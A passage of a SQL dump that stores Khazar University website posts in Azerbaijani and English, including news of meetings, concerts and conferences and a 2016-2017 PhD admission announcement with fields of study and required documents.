Simpoziumun”da iştirak etdi. Simpoziumda müxtəlif ölkələrin\r\nuniversitet və qeyri-hökümət təşkilatlarının nümayəndələri iştirak edirdilər.\r\nSimpozium zamanı Yaxın Şərqdə baş verən hadisələr və bu hadisələrdə Rusiya,\r\nTürkiyə və NATO-nun rolu müzakirə olundu. Simpoziumda Rima Məmmədova\r\niştirakçılara Xəzər Universiteti və onun beynəlxalq əlaqələri haqqında məlumat\r\nverdi.&nbsp;&nbsp;</p>'),(2054,1249,'az','“Xəzər”in əməkdaşı ilə müsahibə yayınlandı','2016-cı il iyulun 4-də azpress.az saytında Xəzər Universiteti Mədəniyyət Mərkəzinin direktoru, xalçaçı rəssam Afaq Kərimova ilə müsahibə yayınlanmışdır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il iyulun 4-də <strong><em>azpress.az</em></strong>\r\nsaytında Xəzər Universiteti Mədəniyyət Mərkəzinin direktoru, xalçaçı rəssam\r\nAfaq Kərimova ilə müsahibə yayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahbə ilə tam şəkildə bu link vasitəsilə\r\ntanış olmaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=55575\">http://azpress.az/index.php?lang=az§ionid=news&amp;id=55575</a>.&nbsp;</p>'),(2055,1250,'az','Xəzər Universitetinin təsisçisi Yıldız Texniki Universitetində oldu','2016-cı il iyulun 1-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı...','<p>2016-cı il iyulun 1-də Xəzər Universitetinin təsisçisi, Direktorlar\r\nvə Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Yıldız Texniki\r\nUniversitetinin rektoru professor Dr. İsmail Yüksek ilə görüşdü. Görüş Yıldız Teknik\r\nUniversitetinin rektorluğunda baş tutdu.</p>\r\n<p>Görüşdə qarşılıqlı maraq kəsb edən bir sıra məsələlər, o cümlədən\r\ndoktorantura tələbələrinə elmi rəhbər təyin edilməsi, Mevlana Mübadilə Proqramı\r\nçərçivəsində iki universitet arasında tələbə və müəllim mübadiləsi və ikili\r\ndərəcə proqramları kimi məsələlər müzakirə olundu.</p>'),(2056,1251,'az','Xəzər Universitetinin təsisçisi İstanbul Texniki Universitetində oldu','2016-cı il iyulun 1-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı İstanbul Texniki Universitetinin...','<p>2016-cı il iyulun 1-də Xəzər Universitetinin təsisçisi, Direktorlar\r\nvə Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı İstanbul Texniki\r\nUniversitetinin rektoru professor Dr. Mehmet Karaca ilə görüşdü. Görüş İstanbul\r\nTeknik Universitetinin rektorluğunda baş tutdu.</p>\r\n<p>Görüşdə qarşılıqlı maraq kəsb edən bir sıra məsələlər, o cümlədən\r\ndoktorantura tələbələrinə elmi rəhbər təyin edilməsi, Mevlana Mübadilə Proqramı\r\nçərçivəsində iki universitet arasında tələbə və müəllim mübadiləsi və ikili\r\ndərəcə proqramları kimi məsələlər müzakirə olundu.</p>'),(2131,1310,'en','Khazar University announces acceptance of documents for full time and part time (paid) PhD students for 2016-2017, according to the fields listed below','The period of full-time PhD education is 3 years. Dissertation programs are 4 years...','<br><table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"54\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>№</strong></p>\r\n  </td>\r\n  <td width=\"571\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Fields of\r\n  Study</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>1</strong></p>\r\n  </td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Analysis\r\n  and Functional analysis-1202.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>2</strong></p>\r\n  </td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Computer\r\n  sciences-1203.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Biochemistry-2426.02</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>4</strong></p>\r\n  </td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">İmmunology-2412.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>5</strong></p>\r\n  </td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Exploration\r\n  and geology of oil and gas fields-2521.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>6</strong></p>\r\n  </td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Development\r\n  and exploitation of oil and gas fields-2525.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>7</strong></p>\r\n  </td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Economics\r\n  -5308.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>8</strong></p>\r\n  </td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">World\r\n  economics -5310.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>9</strong></p>\r\n  </td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Organization\r\n  and management of enterprises-5311.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>10</strong></p>\r\n  </td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Internal\r\n  fiscal policy and state finance-5301.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\"></td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>11</strong></p>\r\n  </td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;Germanic languages-5708.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\" style=\"\" width:40.85pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>12</strong></p>\r\n  </td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Azerbaijani\r\n  literature-5716.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\" colspan=\"2\" style=\"\" width:40.85pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"></td>\r\n  <td width=\"571\" style=\"\" width:428.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>13</strong></p>\r\n  </td>\r\n  <td width=\"571\" colspan=\"2\" style=\"\" width:5.95in;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Education\r\n  planning and administration-5802.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>14</strong></p>\r\n  </td>\r\n  <td width=\"571\" colspan=\"2\" style=\"\" width:5.95in;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Pedagogics\r\n  and history of education-5804.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>15</strong></p>\r\n  </td>\r\n  <td width=\"571\" colspan=\"2\" style=\"\" width:5.95in;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">İnternational\r\n  Relations-5901.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"54\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>16</strong></p>\r\n  </td>\r\n  <td width=\"571\" colspan=\"2\" style=\"\" width:5.95in;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Social\r\n  philosophy-7202.01</p>\r\n  </td>\r\n </tr>\r\n <tr height=\"0\">\r\n  <td width=\"54\"></td>\r\n  <td width=\"0\"></td>\r\n  <td width=\"571\"></td>\r\n </tr>\r\n</tbody></table><br>\r\n<p>&nbsp;</p>\r\n<p>The period of full-time PhD education is 3 years. Dissertation\r\nprograms are 4 years. &nbsp;</p>\r\n<p><strong>Requirements\r\nfor a PhD degree</strong><strong>:</strong><strong></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">1. Citizens of the Azerbaijan Republic with higher education\r\n(with MA education or equivalent) are eligible to be accepted to the announced\r\nPhD vacancies on the basis of competition. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">2. Any candidate who previously graduated from a complete PhD\r\ncourse (former post-graduate) is not eligible for readmission to PhD studies in\r\nthe same field of study. </p>\r\n<p><strong>Documents\r\nrequired for PhD admission: </strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- application (to the head of the institution or\r\norganization where a PhD vacancy is announced);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- applicant’s individual registration sheet;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- biodata;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- 2 photos (3x4 cm);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- reference from workplace;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- extract from employment record book for those with work\r\nexperience;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- list of published scientific works <strong>or </strong>abstract of research paper<strong>\r\n(</strong>referat)<strong> </strong>on the further field\r\nof research;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- notarized copy of university diploma in an appropriate form\r\n(for citizens of the Azerbaijan Republic who have completed higher education\r\nabroad, a certificate of recognition is required);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">- copy of personal identity card.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal;background:white\"\"=\"\">&nbsp;</p>\r\n<p>The acceptance\r\nof documents is to be carried out from September<strong> 10, 2016 to October 15, 2016</strong> and the exam interviews are held from\r\n<strong>October 21, 2016</strong> to October 30, 2016\r\nby the admission commission organized at the university. Documents should be\r\nsubmitted in person to Khazar University Division of Graduate Studies and\r\nResearch (Room 412).</p>\r\n<p><strong>Contacts: E-mail: </strong><a href=\"mailto:eshahgaldiyev@khazar.org\"><strong>eshahgaldiyev@khazar.org</strong></a> or\r\n<a href=\"mailto:lsalayeva@khazar.org\"><strong>lsalayeva@khazar.org</strong></a><strong></strong></p>\r\n<p><strong>Tel (+99412) 498-93-79; (+99412)408-81-34; Fax (+99412)\r\n498-93-79; Mobile: (+99450) 518-81-34</strong><strong></strong></p>'),(1907,1172,'az','İşçi heyət','İşçi heyət','<div><br></div><div><div>Direktor -&nbsp;<a href=\"http://www.khazar.org/files/pdf/CV_Rafiq_Ahmedov.pdf\">Rafiq&nbsp;Əhmədov</a>, PhD&nbsp;</div><div><br></div><div><a href=\"http://mailto:rahmadov@khazar.org/\"></a><a href=\"mailto:rahmadov@khazar.org\"><strong>rahmadov@khazar.org</strong></a><strong>&nbsp;</strong>&nbsp;</div>  <br></div>'),(1920,1177,'az','“Dünya” məktəbinin filialı açıldı','2016-cı il iyunun 2-də Sumqayıt şəhərində yerləşən “28 May” Mədəniyyət Evində Xəzər Universiteti “Dünya” məktəbinin Sumqayıt ictimaiyyəti ilə görüşü keçirildi. Görüş Sumqayıt şəhərində “Dünya” məktəbinin filialının yaradılmasına həsr edilmişdi.','<p>2016-cı il iyunun 2-də Sumqayıt şəhərində\r\nyerləşən “28\r\nMay” Mədəniyyət Evində Xəzər Universiteti “Dünya” məktəbinin Sumqayıt ictimaiyyəti\r\nilə görüşü keçirildi. Görüş Sumqayıt şəhərində “Dünya” məktəbinin filialının\r\nyaradılmasına həsr edilmişdi. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı zala toplaşan sumqayıtlıları\r\nsalamlayaraq, onlarla görüşündən, Sumqayıtda aparılan yenidənqurma işlərindən məmnun\r\nqaldığını bildirdi. O, Sumqayıt şəhərində “Dünya” məktəbinin yaradılmasını\r\nSumqayıt üçün&nbsp;müsbət hal kimi dəyərləndirdi. </p>\r\n<p>Rəsmi hissədən sonra Zülfiyə\r\nSadıqovanın rəhbərlik etdiyi Kamera orkestri, Xəzər Universiteti və “Dünya” məktəbinin\r\noğlanlardan və qızlardan ibarət rəqs qruplarının rəngarəng rəqsləri salona\r\ntoplaşanların böyük marağına səbəb oldu. Xəzər Universitetinin musiqi müəlliməsi\r\nMəhsəti Cabbarova və universitetin doktorantı Marta Lorinin sazda, İqtisadiyyat\r\nvə menecment fakültəsinin tələbəsi Musa Abdullayevin solo ifaları, “Dünya” məktəbinin\r\nmüəllimləri və &nbsp;şagirdləri tərəfindən ustalıqla &nbsp;hazırlanmış\r\ntamaşalardan fraqmentlər tamaşaçılar tərəfindən dəfələrcə alqışlandı. </p>\r\n<p>Sonda xatirə şəkilləri çəkildi.</p>'),(1921,1177,'en','Branch of Dunya School Opens','On June 2, 2016, Dunya School held an event for the public of Sumgayit in the 28 May Cultural Center of Sumgayit City. The event was to mark the opening of a new branch of Khazar University’s affiliate Dunya School in Sumgayit.','<p>On\r\nJune 2, 2016, Dunya School held an event for the public of Sumgayit in the 28\r\nMay Cultural Center of Sumgayit City. The event was to mark the opening of a\r\nnew branch of Khazar University’s affiliate Dunya School in Sumgayit. First\r\nProfessor Hamlet Isaxanli, the founder of Khazar University and Chairman of its\r\nBoard of Directors and Trustees, greeted the audience and announced that he was\r\nhappy to meet with them and to see the reconstruction works taking place in\r\nSumgayit. He said he considered it a benefit to Sumgayit that a new branch of\r\nDunya School would be established there. </p>\r\n<p>Then\r\nthe assembly continued with a concert program with performances by the Khazar\r\nUniversity Chamber Orchestra led by Zulfiyya Sadigova as well as the Dunya\r\nSchool and Khazar University girls’ and boys’ dance ensembles. Khazar\r\nUniversity music instructor Mehseti Jabbarova and PhD student Martha Lawry\r\nperformed a duet on saz; Musa Abdullayev, student of the School of Economics\r\nand Management played a guitar solo; and Dunya School teachers and students\r\nacted out scenes of Shakespeare. Group photos were taken at the end of the\r\nevent. </p>\r\n<p>&nbsp;</p>'),(1922,1178,'az','“Xəzərli”lər filarmoniyaya səfər etdilər','2016-cı il iyunun 3-də Azərbaycan dili və ədəbiyyatı departamentində Azərbaycan dili və mədəniyyətini öyrənən polşalı tədqiqatçı Julia Krajcarz ilə departamentin assistenti Günel İsmayılova Müslüm Maqomayev adına Azərbaycan Dövlət Filarmoniyasına səfər etdilər.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il iyunun 3-də Azərbaycan dili və\r\nədəbiyyatı departamentində Azərbaycan dili və mədəniyyətini öyrənən polşalı tədqiqatçı\r\nJulia Krajcarz ilə departamentin assistenti Günel İsmayılova Müslüm Maqomayev\r\nadına Azərbaycan Dövlət Filarmoniyasına səfər etdilər. Azərbaycan Dövlət\r\nSimfonik Orkestrinin müşayiəti ilə baş tutan konsertdə pianoçu solist Yeganə\r\nAxundova idi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Konsertdən sonra Julia xanım öz təəssüratlarını\r\nbölüşdü.</p>'),(1923,1178,'en','Khazar Staff Visit Philharmonic','On June 3, 2016, Gunel Ismayilova, Assistant to the Department of Azerbaijani language and Literature, and Julia Krajcarz, visiting researcher from Poland who is learning the Azerbaijani language in the same department, attended a concert at the Muslum Magomayev Azerbaijan State Philharmonic.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On June 3, 2016, Gunel Ismayilova, Assistant to the Department of\r\nAzerbaijani language and Literature, and Julia Krajcarz, visiting researcher\r\nfrom Poland who is learning the Azerbaijani language in the same department,\r\nattended a concert at the Muslum Magomayev Azerbaijan State Philharmonic. The\r\nconcert featured piano soloist Yegana Akhundova with the accompaniment of the\r\nAzerbaijan State Symphonic Orchestra. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">After the concert, Julia Krajcarz shared her impressions with the\r\nDepartment staff.&nbsp;</p>'),(1924,1179,'az','CEFAM: Fransa-Amerika Biznes Məktəbi Xəzər Universiteti ilə əməkdaşlıq qurur','2016-cı il iyunun 2-də CEFAM: Fransa-Amerika Biznes Məktəbi Xəzər Universiteti ilə əməkdaşlıq qurmaq üçün “Neftçilər” kampusunda görüşdə iştirak etdi.','<p>2016-cı il\r\niyunun 2-də CEFAM: Fransa-Amerika\r\nBiznes Məktəbi Xəzər Universiteti ilə əməkdaşlıq qurmaq üçün “Neftçilər” kampusunda\r\ngörüşdə iştirak etdi.</p>\r\n<p>Fransadan olan qonaqlar CEFAM Biznes Məktəbinin\r\ndirektor müavini Karine Chaux və Groupe IGS Lyon təşkilatında Beynəlxalq\r\ninkişaf və layihələr üzrə meneceri Valida Mechri idi. Xəzər Universitetini\r\ngörüşdə rektor Dr. Hassan Niknafs, Akademik işlər üzrə prorektor Məhəmməd\r\nNuriyev, İqtisadiyyat və menecment fakültəsinin dekanı İnqlab Əhmədov və Beynəlxalq\r\nəlaqələr şöbəsinin direktoru Turan Cəfərova təmsil edirdi.</p>\r\n<p>Görüşün əsas məqsədi Erasmus+ proqramı çərçivəsində\r\nəməkdaşlığı müzakirə etmək idi. Görüşdə həmçinin, iqtisadiyyat və menecment sahələrində\r\nikili-dərəcə proqramlarının yaradılması məsələsi müzakirə olundu.</p>'),(1925,1179,'en','CEFAM: French-American Business School Visits Khazar University to Establish Cooperation ','On June 2, 2016, representatives of CEFAM: French-American Business School visited the Neftchilar Campus of Khazar University to establish cooperation.\r\n\r\n ','<p>On June 2, 2016, representatives of CEFAM: French-American Business\r\nSchool visited the Neftchilar Campus of Khazar University to establish\r\ncooperation.</p>\r\n<p>&nbsp;</p>\r\n<p>The guests from France included Karine Chaux, Vice-director of CEFAM,\r\nand Valida Mechri, International Development and\r\nProject Manager at&nbsp;Groupe IGS Lyon. Participants from Khazar University\r\nincluded Dr. Hassan Niknafs, President; Mahammad Nuriyev, Vice President for Academic\r\nAffairs; Ingilab Ahmadov, Dean of the School of Economics and Management; and\r\nTuran Jafarova, Director of the International Affairs Office.</p>\r\n<p>&nbsp;</p>\r\n<p>The main goal of the\r\nmeeting was to discuss possible cooperation within the Erasmus + Programme.\r\nMeeting participants also discussed establishment of double-degree programs in\r\nthe field of economics and management. </p>\r\n<p>&nbsp;</p>'),(1875,1154,'en','Staff Members Attend Final Conference of SSRULLI TEMPUS Project ','On May 23-24th, 2016, the Final International Conference of the TEMPUS project on Strengthening the Specific Role of Universities as Lifelong Learning Institutions was held in Tbilisi.','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On\r\nMay 23-24<sup>th</sup>, 2016, the Final International Conference of the TEMPUS\r\nproject on Strengthening the Specific Role of Universities as Lifelong Learning\r\nInstitutions was held in Tbilisi. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Two\r\nrepresentatives of Khazar University – Dr. Elza Semedova, Dean of the School of\r\nEducation, and Mrs. Raziya Isayeva, Director of Development – participated in\r\nthe event. Other participants were from Karl-Franzens&nbsp;–University Graz\r\n(University of Graz), Austria; Tallinn University, Estonia;\r\nApollon&nbsp;Kutateladze Tbilisi State Academy of Arts, Georgia;&nbsp;\r\nCaucasus&nbsp;International university, Georgia; Batumu&nbsp;State Maritime\r\nAcademy, Georgia; Batumu Shota Rustavelli State University, Georgia;\r\nKhazar&nbsp;University, Azerbaijan; Qafqaz&nbsp;University, Azerbaijan; Adult\r\nEducation Association of Georgia; Institute for International Cooperation of\r\nthe German Adult Educ. Assoc., Germany; Adult Education Association of\r\nAzerbaijan, Azerbaijan; and Universitat Hamburg, Germany. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">All\r\npartners reported on the project outcomes, challenges and success stories. In\r\ntotal, 47 Lifelong Learning courses were developed within partner\r\nuniversities.&nbsp; </p>\r\n<p>Raziya Isayeva made a\r\npresentation for participants to provide them with complete information on the\r\nproject outcomes, about courses developed and delivered with SSRULLI Tempus Project,\r\nspecifically about the short-cycle program on Educational Administration for\r\nPotential School Principals. Then she presented her research on “Motivation for\r\nLifelong Learning: what drives learners when there is no external motivator.”\r\nThen Dr. Elza Semedova presented her research results on “Teacher preparation\r\nprograms in Azerbaijan with a view toward preparing professional teachers.” </p>\r\n<p>The project is\r\nfinalizing its activities and it will be officially completed on May 31<sup>st</sup>,\r\n2016. &nbsp;</p>'),(1876,1155,'az','Karoly Robert College Universiteti Xəzər Universiteti ilə əməkdaşlığa başladı','2016-cı il mayın 25-də Macarıstanın Karoly Robert College Universitetinin nümayəndələri iki universitet arasında əməkdaşlıq qurmaq üçün Xəzər Universitetində oldular. Görüş universitetin “Neftçilər” kampusunda baş tutdu.','<p>2016-cı il\r\nmayın 25-də 